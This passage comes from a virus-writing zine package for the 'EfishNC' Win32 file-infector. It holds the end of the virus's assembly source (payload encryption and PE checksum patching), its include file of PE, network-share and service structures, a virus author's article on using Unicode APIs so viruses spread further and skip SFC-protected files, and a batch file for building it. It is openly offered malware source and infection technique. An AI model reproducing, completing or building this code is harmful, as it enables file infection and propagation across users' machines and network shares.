cx, offset efishnc_codeend - offset efishnc_inf mov esi, offset efishnc_inf - offset delta_label add esi, dword ptr [esp + 4 + infectstk.infseh.mapsehsehret] ;delta offset store_encdst label near mov edi, '!bgr' xlat_encrypt label near lods byte ptr [esi] xlat byte ptr [ebx] stos byte ptr [edi] loop xlat_encrypt pop ebx pop esi pop edi pop ecx rep movs byte ptr [edi], byte ptr [esi] pop edi ;----------------------------------------------------------------------------- ;CheckSumMappedFile() - simply sum of all words in file, then adc filesize ;----------------------------------------------------------------------------- xchg dword ptr [ebx], ecx jecxz infect_ret xor eax, eax pop ecx push ecx inc ecx shr ecx, 1 clc calc_checksum label near adc ax, word ptr [edi] inc edi inc edi loop calc_checksum pop dword ptr [ebx] adc dword ptr [ebx], eax ;avoid common bug. ADC not ADD infect_ret label near int 3 ;common exit using SEH db "*4U2NV*" ;that is, unless you're reading this test_infect endp regdll db "advapi32", 0 ;place < 80h bytes from end for smaller code efishnc_codeend label near efishnc_inf endp end dropper ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EFISHNC.ASM]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EFISHNC.INC]ÄÄÄ MAX_PATH equ 260 FILE_ATTRIBUTE_HIDDEN equ 00000002h FILE_ATTRIBUTE_DIRECTORY equ 00000010h FILE_ATTRIBUTE_NORMAL equ 00000080h FILE_FLAG_RANDOM_ACCESS equ 10000000h CREATE_ALWAYS equ 2 OPEN_EXISTING equ 3 GENERIC_WRITE equ 40000000h GENERIC_READ equ 80000000h GMEM_FIXED equ 0 GMEM_ZEROINIT equ 40h REG_SZ equ 1 HKEY_CURRENT_USER equ 80000001h HKEY_LOCAL_MACHINE equ 80000002h HKEY_USERS equ 80000003h SC_MANAGER_CREATE_SERVICE equ 2 SERVICE_START equ 10h SERVICE_WIN32_OWN_PROCESS equ 10h SERVICE_AUTO_START equ 2 DRIVE_FIXED equ 3 DRIVE_REMOTE equ 4 IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it IMAGE_FILE_RELOCS_STRIPPED equ 0001h IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h IMAGE_FILE_32BIT_MACHINE equ 0100h IMAGE_FILE_SYSTEM equ 1000h IMAGE_FILE_DLL equ 2000h IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2 IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3 SECTION_MAP_WRITE equ 0002h FILE_MAP_WRITE equ SECTION_MAP_WRITE PAGE_READWRITE equ 04 RANDPADMIN equ 4096 RANDPADMAX equ 2048 ;RANDPADMIN is added to this RESOURCE_GLOBALNET equ 2 RESOURCETYPE_DISK equ 00000001 ERROR_MORE_DATA equ 234 RESOURCEUSAGE_CONNECTABLE equ 00000001 RESOURCEUSAGE_CONTAINER equ 00000002 MAX_PREFERRED_LENGTH equ 0ffffffffh LM20_NNLEN equ 12 statelen equ 624 period equ 397 tshiftU equ 0bh tshiftS equ 7 tmaskB equ 9d2c5680h tshiftT equ 0fh tmaskC equ 0efc60000h tshiftL equ 12h matrixA equ 9908b0dfh grbgsize equ 8192 ;power of 2 tblsize equ 256 ;fixed (xlat table) randsize equ 4096 ;power of 2, vsize + randsize must be < 8192, else stack fault ;so: grbgsize garbage, table, grbgsize garbage, buffer, randsize garbage ;or: grbgsize garbage, buffer, randsize garbage, table, grbgsize garbage decsize equ 20h ;very small :) must be >= 20h ;global state state_decdown equ 1 ;else up state_esifirst equ 2 ;else ebx first state_pushret equ 4 ;else jmp esp state_pushb equ 8 ;push at begin else push at end state_movesi equ 10h ;else lodsb state_movedi equ 20h ;else stosb state_jg equ 40h ;jl(e)/jb(e) else jg(e)/jnb(e) ;block 1 state ;log2, not bit value state_loadebx equ 0 ;hard-coded state_loadesi equ 1 state_entered equ 2 state_loadedi equ 3 state_std equ 4 state_pushreg1 equ 5 block1and equ 7 block1cmp equ 6 block1done equ (1 shl state_loadebx) or (1 shl state_loadesi) or (1 shl state_entered) \ or (1 shl state_loadedi) or (1 shl state_std) or (1 shl state_pushreg1) ;block 2 state state_lods equ 0 state_xlat equ 1 state_stos equ 2 state_incesi equ 3 state_incedi equ 4 state_cmp equ 5 state_branch equ 6 state_pushreg2 equ 7 ;hard-coded state_ret equ 1 ;state_esifirst overloaded block2and equ 0fh block2cmp equ 9 vsize equ (offset efishnc_codeend - offset efishnc_inf + 3) and -4 align 1 ;byte-packed structures expcrcstk struct pWriteProcessMemory dd ? pWriteFile dd ? pWinExec dd ? pSetFileAttributesA dd ? pMoveFileA dd ? pLoadLibraryA dd ? pGlobalFree dd ? pGlobalAlloc dd ? pGetWindowsDirectoryA dd ? pGetTickCount dd ? pGetTempFileNameA dd ? pGetFileAttributesA dd ? pGetCurrentProcess dd ? pDeleteFileA dd ? pCreateFileA dd ? pCloseHandle dd ? expcrcstk ends expcrc_count equ size expcrcstk shr 2 regcrcstk struct rRegSetValueA dd ? rRegCreateKeyA dd ? rRegCloseKey dd ? rOpenSCManagerA dd ? rCreateServiceA dd ? rCloseServiceHandle dd ? regcrcstk ends regcrc_count equ size regcrcstk shr 2 popsize equ 0ch + size regcrcstk + size expcrcstk execrcstk struct eLoadLibraryA dd ? eGlobalAlloc dd ? eGetVersion dd ? eGetTickCount dd ? eGetStartupInfoW dd ? eGetStartupInfoA dd ? eGetCommandLineW dd ? eGetCommandLineA dd ? eExitProcess dd ? eCreateProcessW dd ? eCreateProcessA dd ? execrcstk ends execrc_count equ size execrcstk shr 2 usrcrcstk struct uCharNextW dd ? uCharNextA dd ? usrcrcstk ends usrcrc_count equ size usrcrcstk shr 2 svccrcstk struct sStartServiceCtrlDispatcherA dd ? svccrcstk ends svccrc_count equ size svccrcstk shr 2 startupinfo struct sicb dd ? siReserved dd ? siDesktop dd ? siTitle dd ? sidwX dd ? sidwY dd ? sidwXSize dd ? sidwYSize dd ? sidwXCountChars dd ? sidwYCountChars dd ? sidwFillAttribute dd ? sidwFlags dd ? siwShowWindow dw ? sicbReserved2 dw ? silpReserved2 dd ? sihStdInput dd ? sihStdOutput dd ? sihStdError dd ? startupinfo ends processinfo struct pihProcess dd ? pihThread dd ? pidwProcessId dd ? pidwThreadId dd ? processinfo ends krncrcstk struct klstrlenW dd ? klstrcpyW dd ? klstrcatW dd ? kUnmapViewOfFile dd ? kSleep dd ? kSetFileTime dd ? kSetFileAttributesW dd ? kSetFileAttributesA dd ? kSetCurrentDirectoryW dd ? kSetCurrentDirectoryA dd ? kMultiByteToWideChar dd ? kMapViewOfFile dd ? kLoadLibraryA dd ? kGlobalFree dd ? kGlobalAlloc dd ? kGetVersion dd ? kGetTickCount dd ? kGetFullPathNameW dd ? kGetFullPathNameA dd ? kGetDriveTypeA dd ? kFindNextFileW dd ? kFindNextFileA dd ? kFindFirstFileW dd ? kFindFirstFileA dd ? kFindClose dd ? kCreateThread dd ? kCreateFileMappingA dd ? kCreateFileW dd ? kCreateFileA dd ? kCloseHandle dd ? krncrcstk ends krncrc_count equ size krncrcstk shr 2 sfccrcstk struct sSfcIsFileProtected dd ? sfccrcstk ends sfccrc_count equ size sfccrcstk shr 2 netcrcstk struct nWNetOpenEnumW dd ? nWNetOpenEnumA dd ? nWNetEnumResourceW dd ? nWNetEnumResourceA dd ? nWNetCloseEnum dd ? netcrcstk ends netcrc_count equ size netcrcstk shr 2 ip9xcrcstk struct ip9xNetShareEnum dd ? ip9xcrcstk ends ip9xcrc_count equ size ip9xcrcstk shr 2 ipntcrcstk struct ipntNetShareEnum dd ? ipntNetApiBufferFree dd ? ipntcrcstk ends ipntcrc_count equ size ipntcrcstk shr 2 coffhdr struct pemachine dw ? ;04 pesectcount dw ? ;06 petimedate dd ? ;08 pesymbrva dd ? ;0C pesymbcount dd ? ;10 peopthdrsize dw ? ;14 peflags dw ? ;16 coffhdr ends pedir struct dirrva dd ? dirsize dd ? pedir ends pehdr struct pesig dd ? ;00 pecoff coffhdr pemagic dw ? ;18 pemajorlink db ? ;1A peminorlink db ? ;1B pecodesize dd ? ;1C peidatasize dd ? ;20 peudatasize dd ? ;24 peentrypoint dd ? ;28 pecodebase dd ? ;2C pedatabase dd ? ;30 peimagebase dd ? ;34 pesectalign dd ? ;38 pefilealign dd ? ;3C pemajoros dw ? ;40 peminoros dw ? ;42 pemajorimage dw ? ;44 peminorimage dw ? ;46 pemajorsubsys dw ? ;48 peminorsubsys dw ? ;4A pereserved dd ? ;4C peimagesize dd ? ;50 pehdrsize dd ? ;54 pechksum dd ? ;58 pesubsys dw ? ;5C pedllflags dw ? ;5E pestackmax dd ? ;60 pestacksize dd ? ;64 peheapmax dd ? ;68 peheapsize dd ? ;6C peldrflags dd ? ;70 pervacount dd ? ;74 peexport pedir ;78 peimport pedir ;80 persrc pedir ;88 peexcpt pedir ;90 pesecurity pedir ;98 pereloc pedir ;A0 pedebug pedir ;A8 pearch pedir ;B0 peglobal pedir ;B8 petls pedir ;C0 peconfig pedir ;C8 pebound pedir ;D0 peiat pedir ;D8 pedelay pedir ;E0 pecom pedir ;E8 persrv pedir ;F0 pehdr ends peexp struct expflags dd ? expdatetime dd ? expmajorver dw ? expminorver dw ? expdllrva dd ? expordbase dd ? expadrcount dd ? expnamecount dd ? expadrrva dd ? expnamerva dd ? expordrva dd ? peexp ends mzhdr struct mzsig dw ? ;00 mzpagemod dw ? ;02 mzpagediv dw ? ;04 mzrelocs dw ? ;06 mzhdrsize dw ? ;08 mzminalloc dw ? ;0A mzmaxalloc dw ? ;0C mzss dw ? ;0E mzsp dw ? ;10 mzchksum dw ? ;12 mzip dw ? ;14 mzcs dw ? ;16 mzreloff dw ? ;18 mzfiller db 22h dup (?) ;1A mzlfanew dd ? ;3C mzhdr ends tib struct ExceptReg dd ? StackBase dd ? StackLimit dd ? SubSystem dd ? FiberData dd ? UserPointer dd ? TibSelf dd ? TibUnknown dd 5 dup (?) TibTeb dd ? tib ends teb struct tebUnknown dd 6 dup (?) heaphand dd ? tebUnknown2 dd ? procflags dd ? teb ends FILETIME struct dwLowDateTime dd ? dwHighDateTime dd ? FILETIME ends WIN32_FIND_DATA struct dwFileAttributes dd ? ftCreationTime FILETIME ftLastAccessTime FILETIME ftLastWriteTime FILETIME dwFileSizeHigh dd ? dwFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName dw 260 dup (?) cAlternateFileName dw 14 dup (?) WIN32_FIND_DATA ends findlist struct findprev dd ? findhand dd ? finddata WIN32_FIND_DATA findlist ends sehstruc struct sehkrnlret dd ? sehexcptrec dd ? sehprevseh dd ? sehstruc ends pesect struct sectname db 8 dup (?) sectvirtsize dd ? sectvirtaddr dd ? sectrawsize dd ? sectrawaddr dd ? sectreladdr dd ? sectlineaddr dd ? sectrelcount dw ? sectlinecount dw ? sectflags dd ? pesect ends mapsehstk struct mapsehprev dd ? mapsehexcpt dd ? mapsehregs dd 8 dup (?) mapsehsehret dd ? mapsehinfret dd ? mapsehstk ends mapstack struct mapfilesize dd ? mapmapret dd ? mapinfret dd ? mapattrib dd ? mapstack ends infectstk struct infcopysrc dd ? infcopydst dd ? infcopysize dd ? infmapview dd ? inffilesize dd ? infseh mapsehstk infectstk ends NETRESOURCE struct dwScope dd ? dwType dd ? dwDisplayType dd ? dwUsage dd ? lpLocalName dd ? lpRemoteName dd ? lpComment dd ? lpProvider dd ? NETRESOURCE ends wnetlist struct wnetprev dd ? wnethand dd ? wnetlist ends SERVICE_TABLE_ENTRY struct lpServiceName dd ? lpServiceProc dd ? lpServiceName0 dd ? lpServiceProc0 dd ? SERVICE_TABLE_ENTRY ends share_info_1nt struct shi1_netnament dd ? shi1_typent dd ? shi1_remarknt dd ? share_info_1nt ends share_info_19x struct shi1_netname9x db LM20_NNLEN + 1 dup (?) shi1_pad1 db ? shi1_type9x dw ? shi1_remark9x dd ? share_info_19x ends align ;restore default alignment ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[EFISHNC.INC]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UNICODE.TXT]ÄÄÄ United Nations ANSI and Unicode roy g biv / defjam -= defjam =- since 1992 bringing you the viruses of tomorrow today! About the author: Former DOS/Win16 virus writer, author of several virus families, including Ginger (see Coderz #1 zine for terrible buggy example, contact me for better sources ;), and Virus Bulletin 9/95 for a description of what they called Rainbow. Co-author of world's first virus using circular partition trick (Orsam, coded with Prototype in 1993). Designer of the world's first XMS swapping virus (John Galt, coded by RTFishel in 1995, only 30 bytes stub, the rest is swapped out). Author of world's first virus using Thread Local Storage for replication (Shrug) and world's first Native executable virus (Chthon). Author of various retrovirus articles (eg see Vlad #7 for the strings that make your code invisible to TBScan). Went to sleep for a number of years. This is my fourth virus for Win32. I'm also available for joining a group. Just in case anyone is interested. ;) What is Unicode? Unicode is a standard for character set encoding that supports many more characters than ANSI character set does, and without needing any code pages. Sounds great, but why should I care? For the languages that cannot be supported properly by the ANSI character set (eg Arabic and Hebrew), directories and files can be created that no ANSI function can access. Also, no ANSI function can calculate even a simple thing like string length of a DBCS text unless the language is known. In Unicode, none of these things is a problem... except that Windows 9x/Me has only little Unicode support, even if the Microsoft Layer for Unicode is used (because MSLU relies on code pages). This means that a virus cannot spread as far because it relies on APIs that are limited. As people move to Windows XP and other NT-based operating systems and Asian languages become the most widely used in the computer world, this becomes even more important for us. So the problem is... We want to use ANSI functions where we must (Windows 9x/Me) and Unicode functions where we can (Windows NT/2000/XP), all without duplicating code. And the solution? Group together the address of functions and use indexed calls to access them. When combined with some small support code, transparent support is easy. Example that finds arguments on command-line in platform-independent way: ;esp -> CharNextW, CharNextA, GetCommandLineW, GetCommandLineA call GetVersion shr eax, 1fh ;eax = 0 if Unicode platform ; 1 if ANSI platform lea esi, dword ptr [eax * 4 + esp] ;esi -> CharNextW if Unicode platform ; CharNextA if ANSI platform dec eax mov al, 0ffh movzx edi, ax ;edi = ffff if Unicode platform ; 00ff if ANSI platform call dword ptr [esi + 8] ;call platform-specific GetCommandLine mov ebx, dword ptr [eax] and ebx, edi ;mask Unicode or ANSI character cmp ebx, '"' ;Unicode-compatible compare je skip_argv0 ;filename will end with '"' push ' ' pop ebx ;filename will end with ' ' skip_argv0: push eax call dword ptr [esi] ;call platform-specific CharNext mov ecx, dword ptr [eax] and ecx, edi ;mask Unicode or ANSI character je no_args cmp ecx, ebx ;found end of filename? jne skip_argv0 ;no, continue find_argv1: push eax call dword ptr [esi] ;call platform-specific CharNext mov ecx, dword ptr [eax] and ecx, edi ;mask Unicode or ANSI character cmp ecx, ' ' ;Unicode-compatible compare je find_argv1 ;skip spaces until argument or end jecxz no_args [work with arguments here] no_args: Example that calculates string length in bytes: ;esp -> lstrlenW, lstrlenA ;esi -> string call GetVersion shr eax, 1fh ;eax = 0 if Unicode platform ; 1 if ANSI platform push esi call dword ptr [eax * 4 + esp] ;call platform-specific lstrlen ;lstrlenW if Unicode platform ;lstrlenA if ANSI platform xchg ebp, eax ;save character count call GetVersion sar eax, 1fh ;eax = 00000000 if Unicode platform ; ffffffff if ANSI platform inc eax ;eax = 1 if Unicode platform ; 0 if ANSI platform xchg ecx, eax shl ebp, cl ;convert character count to byte count Example that checks if file is protected by SFC: SfcIsFileProtected takes a Unicode (not multibyte) full path (not filename) so L"explorer.exe" is not protected, but L"c:\winnt\explorer.exe" is protected ;esp -> GetFullPathNameW, GetFullPathNameA ;esi -> filename to check enter MAX_PATH * 2, 0 ;maximum size required for path mov ecx, esp push eax ;create space for filename variable push esp push ecx push MAX_PATH ;buffer size is characters, not bytes push esi call GetVersion shr eax, 1fh ;eax = 0 if Unicode platform ; 1 if ANSI platform inc eax ;allow for saved ebp on stack call dword ptr [eax * 4 + ebp] ;call platform-specific GetFullPathName ;GetFullPathNameW if Unicode platform ;GetFullPathNameA if ANSI platform xchg edi, eax ;save character count pop eax ;discard filename xor ebx, ebx call GetVersion test eax, eax jns call_sfc ;branch if Unicode platform mov ecx, esp xchg ebp, eax ;save ebp (no push - enter alters esp) enter MAX_PATH * 2, 0 ;maximum space required for path xchg ebp, eax ;restore ebp for single leave later mov eax, esp push MAX_PATH ;buffer size is characters, not bytes push eax inc edi ;include null terminator push edi push ecx push ebx ;use default translation push ebx ;CP_ANSI call MultiByteToWideChar ;convert ANSI path to Unicode path call_sfc: mov ecx, 'rgb!' ;replace by SfcIsFileProtected or 0 xor eax, eax ;fake success in case of no SFC jecxz skip_sfc push esp push ebx call ecx skip_sfc: leave test eax, eax jne ignore_file ;non-zero if file is protected [work with unprotected file] ignore_file: For more examples, see my other sources, such as Shrug and EfishNC, which contain directory traverser, and IP address to UNC path converter. Greets to the old Defjam crew: Prototype, RTFishel, Obleak, and The Gingerbread Man rgb/dj feb 2002 iam_rgb@hotmail.com ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[UNICODE.TXT]ÄÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ @echo off if %1.==. goto usage %tasm32%\bin\tasm32 /r /ml /m9 /os /p /q /w2 /zn %1 if errorlevel 1 goto end %tasm32%\bin\tlink32 /c /B:400000 /Tpe /aa /x /n %1.obj,,,%tasm32%\lib\import32.lib, del %1.obj goto end :usage echo. echo Usage: MAKE filename echo eg. MAKE EFISHNC echo requires %tasm32% set to TASM directory (eg C:\TASM) :end echo. ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[MAKE.BAT]ÄÄÄ